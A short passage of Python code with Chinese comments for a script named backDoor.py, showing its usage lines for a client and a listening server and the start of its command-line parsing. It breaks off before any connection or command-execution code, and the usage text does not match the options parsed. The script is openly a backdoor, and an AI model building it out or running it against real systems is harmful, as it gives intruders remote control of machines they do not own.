帮助命令:
>python backDoor.py -h
help info : python backDoor.py -h
client : python backDoor.py -t [target] -p [port]
server : python backDoor.py -lp [port]
import socket
import getopt
import sys
import sys
import subprocess
from threading import Thread
def main():
target = "" #目标IP
port = 0 #目标端口
listen = False
help = False
#利用getopt模块从命令行获取参数
opts, args = getopt.getopt(sys.argv[1:], "t:p:hl")
for o, a in opts:
if o == "-t":
target = a
elif o == "-p":
port = int(a)
elif o == "-h":
help = True
elif o == "-l":
listen = True
else:
#断言,传入的参数有误
assert False, "Unhandled Option"
#输出帮助文档
if help:
usage()
#获分客户端和服务端